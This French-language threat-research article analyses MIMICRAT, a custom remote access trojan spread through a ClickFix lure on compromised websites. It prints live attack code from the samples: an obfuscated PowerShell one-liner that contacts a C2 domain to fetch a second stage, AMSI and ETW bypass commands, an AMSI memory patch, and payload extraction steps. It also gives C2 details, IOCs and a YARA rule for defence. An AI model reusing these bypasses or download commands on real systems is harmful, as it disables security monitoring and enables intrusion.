Salim Bitam

MIMICRAT : la campagne ClickFix diffuse un RAT personnalisé via des sites Web légitimes compromis

Elastic Security Labs a découvert une campagne ClickFix utilisant des sites légitimes compromis pour diffuser une chaîne en cinq étapes aboutissant à MIMICRAT, un RAT personnalisé en C natif avec C2 malléable, vol de jeton et tunnel SOCKS5.

7 minutes de lectureAnalyse des malwares
MIMICRAT : la campagne ClickFix diffuse un RAT personnalisé via des sites Web légitimes compromis

Introduction

Au cours d'une enquête récente, Elastic Security Labs a identifié une campagne ClickFix active compromettant plusieurs sites web légitimes pour diffuser une chaîne de logiciels malveillants en plusieurs étapes. Contrairement aux déploiements ClickFix plus simples qui se terminent par des voleurs d'informations, cette campagne se termine par un cheval de Troie d'accès à distance (RAT) personnalisé que nous avons appelé MIMICRAT : un implant C natif avec des profils C2 malléables, une usurpation d'identité par jeton, un tunnel SOCKS5 et une table d'envoi de 22 commandes.

La campagne fait preuve d'un haut niveau de sophistication opérationnelle : des sites compromis couvrant plusieurs secteurs et zones géographiques servent d'infrastructure de distribution, une chaîne PowerShell à plusieurs étapes effectue un contournement ETW et AMSI avant de déposer un chargeur de shellcode en script Lua, et l'implant final communique via HTTPS sur le port 443 en utilisant des profils HTTP qui ressemblent à du trafic d'analyse web légitime.

Principaux points abordés dans cet article

  • Plusieurs sites web légitimes ont été compromis afin de mettre en place une chaîne d'attaque en cinq étapes.
  • Le chargeur Lua exécute un shellcode intégré.
  • MIMICRAT est un RAT C++ natif sur mesure avec des profils C2 malléables, un vol de jetons Windows et un proxy SOCKS5.

Découverte

Elastic Security Labs a identifié cette campagne pour la première fois au début du mois de février 2026 grâce à la télémétrie des points d'accès signalant une exécution suspecte de PowerShell avec des arguments de ligne de commande obscurcis.

Compte tenu de la nouveauté de la charge utile finale, nous avons rendu publics les premiers indicateurs via les médias sociaux le 11 février, 2026 , afin que l'ensemble de la communauté de la sécurité puisse commencer à rechercher cette menace et à s'en défendre pendant que notre analyse complète était en cours. La campagne est toujours active au moment de la publication de ce document.

Les chercheurs de Huntress ont documenté des campagnes ClickFix connexes utilisant une infrastructure et des techniques similaires, ce qui montre l'ampleur des opérations de cet acteur de la menace dans le cadre de multiples campagnes parallèles.

Livraison de la campagne

L'exécution de la campagne repose entièrement sur la compromission de sites web légitimes et fiables plutôt que sur des infrastructures appartenant à des attaquants. Le point d'entrée pour les victimes est bincheck[.]io, un service légitime de validation du numéro d'identification bancaire (BIN). L'acteur de la menace a compromis ce site et y a injecté un extrait JavaScript malveillant qui charge dynamiquement un script externe hébergé à l'adresse https://www.investonline[.]in/js/jq.php, un deuxième site compromis, une plateforme indienne légitime d'investissement dans des fonds communs de placement (Abchlor Investments Pvt. Ltd.). Le script externe est nommé de manière à se faire passer pour la bibliothèque jQuery, en se fondant dans la charge de ressources existante de la page.

C'est ce script chargé à distance (jq.php) qui fournit le leurre ClickFix : une fausse page de vérification Cloudflare demandant à la victime de coller manuellement et d'exécuter une commande pour "réparer" un problème. Le leurre copie une commande PowerShell malveillante directement dans le presse-papiers de la victime et l'invite à ouvrir une boîte de dialogue Exécuter (Win+R) ou une invite PowerShell et à la coller. Cette technique contourne entièrement les protections de téléchargement basées sur le navigateur, car aucun fichier n'est téléchargé.

Cette compromission multidimensionnelle repose sur le chargement, par un site web orienté vers la victime, d'un script malveillant provenant d'un second site web compromis, ce qui répartit le risque de détection et augmente la légitimité perçue du leurre à la fois par les utilisateurs et par les outils de sécurité automatisés. La campagne prend en charge 17 langues, le contenu du leurre étant localisé dynamiquement en fonction des paramètres linguistiques du navigateur de la victime afin d'élargir sa portée. Les victimes identifiées couvrent plusieurs zones géographiques, y compris une université basée aux États-Unis et plusieurs utilisateurs de langue chinoise documentés dans des discussions de forums publics, ce qui suggère un ciblage opportuniste à grande échelle.

Vous trouverez ci-dessous la liste des langues prises en charge par le ClickFix :

  • Anglais
  • Chinois
  • Russe
  • Espagnol
  • French
  • German
  • Portugais
  • Japonais
  • Coréen
  • Italien
  • Turc
  • Polonais
  • Néerlandais
  • Vietnamien
  • L'arabe
  • Hindi
  • Indonésien

Analyse du code

Une fois que la victime a exécuté la commande du presse-papiers, la campagne se déroule en cinq étapes distinctes : un téléchargeur PowerShell obfusqué contacte le C2 pour récupérer un script de deuxième étape qui corrige l'enregistrement des événements Windows(ETW) et l'analyse antivirus(AMSI) avant de déposer un chargeur basé sur Lua ; le chargeur décrypte et exécute le shellcode entièrement en mémoire ; le shellcode délivre finalement MIMICRAT, un RAT performant conçu pour l'accès persistant et le mouvement latéral.

Étape 1 Commande unique Powershell

La commande livrée dans le presse-papiers est un one-liner PowerShell compact et obscurci :

powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk

La commande utilise des opérations de découpage de chaînes et d'index arithmétique sur une chaîne de départ unique (aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf) pour reconstruire le domaine cible et le mécanisme d'invocation au moment de l'exécution, en évitant toute représentation en texte clair du domaine C2 ou des noms de cmdlet PowerShell dans la charge utile initiale. La fenêtre est réduite (-WInDo Min). Le domaine extrait est xMRi.neTwOrk, qui se résout en 45.13.212.250, et télécharge un script PowerShell de deuxième étape.

Le pivotement de l'infrastructure sur 45.13.212.250 via les relations VirusTotal a révélé un second domaine, WexMrI.CC, se résolvant à la même IP. Les deux domaines partagent le même modèle d'obscurcissement de la mise en forme des cas mixtes.

Étape 2 Script Powershell obfusqué

Le script PowerShell de deuxième étape téléchargé est nettement plus élaboré. Toutes les chaînes sont construites au moment de l'exécution en transformant les expressions arithmétiques en caractères ASCII :

$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: "System.Diagnostics.Eventing.EventProvider"

Cette technique rend le script opaque à l'analyse statique et à la détection basée sur les signatures, tout en restant pleinement fonctionnel au moment de l'exécution. Une déclaration de classe fictive est incluse en guise de leurre et
le script exécute quatre opérations séquentielles :

By-pass ETW

Le script accède au champ interne m_enabled de la classe System.Diagnostics.Eventing.EventProvider par réflexion et modifie sa valeur en 0, ce qui a pour effet de désactiver le suivi des événements pour Windows et de rendre aveugle l'enregistrement des blocs de scripts PowerShell.

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

Dérivation AMSI

Le script utilise ensuite la réflexion pour accéder à System.Management.Automation.AmsiUtils et définit le champ amsiInitFailed en $true, ce qui permet à PowerShell d'ignorer toute analyse de contenu AMSI pour le reste de la session.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

AMSI - Patching de la mémoire

Le script exécute le correctif de la poignée de méthode via Marshal.Copy dans une étape supplémentaire, mais moins courante, d'évasion de la défense, en écrasant les pointeurs de méthode dans la mémoire pour rediriger l'exécution loin des chemins de code surveillés. Cela permet de cibler la fonction ScanContent sous System.Management.Automation.AmsiUtils vers une méthode de génération vide.

$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt       = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"

[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
    0,
    [long]$ScanContent_func.MethodHandle.Value + [long]8,
    1
)

Livraison de la charge utile

L'enregistrement des événements et l'analyse antivirus étant désactivés, le script décode une archive ZIP codée en base64, l'extrait dans un répertoire nommé de manière aléatoire sous %ProgramData%/knz_{random}, et exécute le binaire contenu dans l'archive zbuild.exe. Les artefacts temporaires sont nettoyés après l'exécution.

$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')

Stage 3 Chargeur Lua

Le binaire abandonné est un chargeur Lua 5.4.7 personnalisé. Il intègre un interpréteur Lua de manière statique.
Le binaire décrypte un script Lua intégré à l'aide d'un stub XOR au moment de l'exécution, puis l'exécute. La routine de décryptage XOR (fxh::utility::lua_script_xor_decrypt) parcourt la mémoire tampon cryptée en effectuant un XOR de chaque octet par rapport à une clé.

Le script Lua met en œuvre un décodeur Base64 personnalisé avec un alphabet non standard pour décoder un shellcode intégré. Le shellcode décodé est ensuite alloué dans la mémoire exécutable via luaalloc, copié dans cette mémoire via luacpy et enfin exécuté via luaexe, ce qui permet d'obtenir une exécution du shellcode entièrement en mémoire et sans fichier.

Étape 4 shellcode

Le shellcode correspond aux signatures liées à Meterpreter, ce qui suggère que l'étape du shellcode est un chargeur compatible avec la famille de codes Meterpreter pour charger par réflexion MIMICRAT dans la mémoire.

Étape 5 MIMICRAT

La charge utile finale dont les métadonnées de compilation sont définies sur 29 2026 est un PE MSVC x64 natif compilé avec la version 14.44 de l'éditeur de liens de Microsoft Visual Studio. Il ne correspond pas exactement à un cadre C2 open-source connu, mettant en œuvre ses propres profils C2 HTTP malléables avec un envoi de commandes basé sur des caractères ASCII et une architecture personnalisée.

C2 Configuration et communication

La configuration du MIMICRAT est stockée dans la section .data. Il contient des clés cryptographiques, des paramètres de connexion et deux profils de communication HTTP complets. Toutes les chaînes d'en-tête et les URI sont codées en hexadécimal ASCII et décodées au moment de l'exécution.

Le C2 fonctionne via HTTPS sur le port 443 avec un intervalle de rappel de 10 secondes. Le nom d'hôte du serveur C2 (d15mawx0xveem1.cloudfront.net) est crypté avec la clé RC4 suivante : @z1@@9&Yv6GR6vp#SyeG&ZkY0X74%JXLJEv2Ci8&J80AlVRJk&6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5.

L'implant utilise HTTPS pour la communication avec un système de cryptage à plusieurs niveaux : une clé publique RSA-1024 intégrée gère l'échange de clés de session asymétriques.

Si AES est utilisé pour le cryptage symétrique du trafic C2, il utilise un IV codé en dur abcdefghijklmnop et une clé calculée au moment de l'exécution, dérivée d'une valeur de hachage SHA-256 d'un exemple de valeur alphanumérique générée de manière aléatoire. 9ZQs0p0gfpOj3Y02.

Voici le profil utilisé par l'exemple pour les requêtes POST et GET :

Profil HTTP GET : Enregistrement et tâches
ComposantValue (Valeur)
Uri/intake/organizations/events?channel=app
User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.9.19041; ...) Edge/18.19045
Référent[https://www.google.com/?q=dj1](https://www.google.com/?q=dj1)
Accepter la languezh-CN,zh;q=0.9
CookiesAFUAK, BLA, HFK
Profil HTTP POST : Exfiltration de données
ComposantValue (Valeur)
Uri/discover/pcversion/metrics?clientver=ds
Référent[https://gsov.google.com/](https://gsov.google.com/)
CookiesARCHUID, BRCHD, ZRCHUSR

Dispatching de commandement

MIMICRAT met en œuvre un total de 22 commandes distinctes pour fournir des capacités de post-exploitation telles que le contrôle des processus et du système de fichiers, l'accès interactif au shell, la manipulation de jetons, l'injection de shellcode et le tunnelage par proxy SOCKS. L'intervalle entre les balises et la gigue sont configurables par l'opérateur au moment de l'exécution via des commandes spécifiques. Vous trouverez ci-dessous un tableau récapitulatif de toutes les commandes mises en œuvre :

ID CmdfonctionDescription
3SortieTermine le processus d'implantation
4Définir l'intervalle entre les balisesConfigure la durée du sommeil et la gigue
5Changer de répertoireChange le répertoire de travail actuel
10Ecrire un fichierÉcriture sur disque d'une charge utile fournie par C2 (écrasement)
11Lire le fichierLecture d'un fichier sur le disque et exfiltration du contenu vers C2
12Processus de reproductionLance un processus à l'aide d'un jeton volé s'il est disponible, puis revient à l'exécution standard.
28Annuler l'usurpation d'identitéAnnule l'usurpation d'identité du jeton et efface l'état du jeton.
31Voler un jetonDuplique le jeton de sécurité d'un processus cible par PID
32Lister les processusEnumère les processus en cours avec PID, PPID, utilisateur, domaine et architecture.
33Arrêt du processusTermine un processus par PID
39Obtenir le répertoire actuelRenvoie le répertoire de travail actuel à C2
53Lister les fichiersListe des fichiers et des répertoires avec leur date et leur taille.
54Créer un répertoireCrée un répertoire sur le disque
55Liste des lecteursÉnumère les lecteurs logiques
56Supprimer un fichier/répertoireSupprime un fichier ou un répertoire
67Ajouter au fichierAjoute les données fournies par C2 à un fichier existant
73Copier le fichierCopie un fichier de la source à la destination
74Déplacer/renommer un fichierDéplace ou renomme un fichier
78Shell interactifOuvre un shell CMD interactif persistant sur un tuyau
100Injecter un shellcodeInjection de shellcode réfléchi
101SOCKSConfigure le canal proxy SOCKS ou l'arrête
102Proxy SOCKSPartage le gestionnaire avec la commande 101 ; il s'agit probablement d'une commande de remplacement.

Infrastructure

L'infrastructure du réseau de la campagne se divise en deux groupes principaux :

Groupe A - Livraison initiale de la charge utile (45.13.212.251 / 45.13.212.250)

Plusieurs domaines pointent vers cette plage IP, notamment xMRi.neTwOrk et WexMrI.CC. Les noms de domaine utilisent une combinaison de majuscules et de minuscules. Cette infrastructure sert le script PowerShell de deuxième étape et la charge utile ZIP intégrée.

Groupe B Post-exploitation C2 (23.227.202.114)

Associé à www.ndibstersoft[.]com et observé dans les communications des balises du fichier déposé. Il s'agit du canal C2 de l'opérateur après l'exploitation.

CloudFront C2 Relay
d15mawx0xveem1.cloudfront[.]net est confirmé comme faisant partie de l'infrastructure C2 de MIMICRAT. Les relations VT pour l'échantillon rgen.zip montrent qu'il contacte ce domaine CloudFront en utilisant le même modèle URI /intake/organizations/events?channel=app identifié dans le profil GET de MIMICRAT, ce qui confirme qu'il agit en tant que relais C2 faisant office de front pour le serveur dorsal.

Infrastructure de livraison

Deux sites web légitimes compromis forment la chaîne de distribution :

  • bincheck.io - point d'entrée orienté vers la victime ; compromis pour charger le script malveillant externe
  • investonline.in - héberge la charge utile JavaScript ClickFix (/js/jq.php) déguisée en jQuery ; ce script rend le leurre et délivre le presse-papiers PowerShell

Logiciels malveillants et MITRE ATT&CK**

Elastic utilise le cadre MITRE ATT& CK pour documenter les tactiques, techniques et procédures communes que les menaces persistantes avancées utilisent contre les réseaux d'entreprise.

Tactiques

Les tactiques représentent le pourquoi d'une technique ou d'une sous-technique. Il s'agit de l'objectif tactique de l'adversaire : la raison pour laquelle il effectue une action.

Techniques

Les techniques représentent la manière dont un adversaire atteint un objectif tactique en effectuant une action.

Atténuations

Détection

Les règles de détection et les événements de prévention du comportement suivants ont été observés tout au long de l'analyse de cet ensemble d'intrusions :

YARA

Elastic Security a créé des règles YARA pour identifier cette activité. Vous trouverez ci-dessous les règles de YARA pour identifier le MimicRat :

rule Windows_Trojan_MimicRat {
    meta:
        author = "Elastic Security"
        creation_date = "2026-02-13"
        last_modified = "2026-02-13"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "MimicRat"
        threat_name = "Windows.Trojan.MimicRat"
        reference_sample = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b"
        scan_type = "File, Memory"
        severity = 100

    strings:
        $b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
        $b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
    condition:
        all of them
}

Observations

Toutes les observables sont également disponibles au téléchargement en format ECS et STIX dans un paquet zip combiné.

Les observables suivants ont été examinés dans le cadre de cette recherche.

ObservableTypeNomRéférence
bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1SHA-256Étape 1 Charge utile PowerShell
5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51SHA-256Chargeur Lua
a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4bSHA-256Balise MIMICRAT
055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28bebSHA-256Exemple de balise apparentée
45.13.212.251IPInfrastructure de distribution des charges utiles
45.13.212.250IPInfrastructure de distribution des charges utiles
23.227.202.114IPPost-exploitation C2
xmri.networkDomainEtape 1 C2 / livraison de la charge utile
wexmri.ccDomainStade 1 C2 alternatif
www.ndibstersoft[.]comDomainPost-exploitation C2
d15mawx0xveem1.cloudfront[.]netDomainPost-exploitation C2
www.investonline.in/js/jq.phpURLHôte de la charge utile JS malveillante (compromis)
backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zipURLLivraison de la charge utile

Partager cet article